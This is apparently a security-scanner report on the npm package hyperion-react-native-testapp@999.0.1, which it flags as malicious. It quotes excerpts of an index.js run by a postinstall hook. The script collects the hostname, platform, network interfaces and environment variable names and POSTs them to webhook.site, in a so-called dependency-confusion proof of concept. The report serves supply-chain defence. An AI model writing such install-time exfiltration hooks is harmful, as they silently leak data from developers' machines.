hyperion-react-native-testapp@999.0.1: Malicious npm security | LPM Firewall

Loading npm security reports…

hyperion-react-native-testapp@999.0.1: Malicious npm security | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> index.js L1: const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L1: const https = require('https'); L2: const os = require('os'); ... L4: function getLocalIPs() { L5: const interfaces = os.networkInterfaces(); L6: const results = {}; ... L19: vulnerability: "Dependency Confusion PoC", L20: hostname: os.hostname(), L21: platform: os.platform(), ... L24: networkInterfaces: getLocalIPs(), L25: envVariables: process.env ? Object.keys(process.env) : "N/A" L26: }); ... L40: req.on('error', (e) => {});

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const https = require('https'); const payloadData = JSON.stringify({ hostname: 'webhook.site', method: 'POST', const req = https.request(options, (res) => {}); req.write(payloadData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg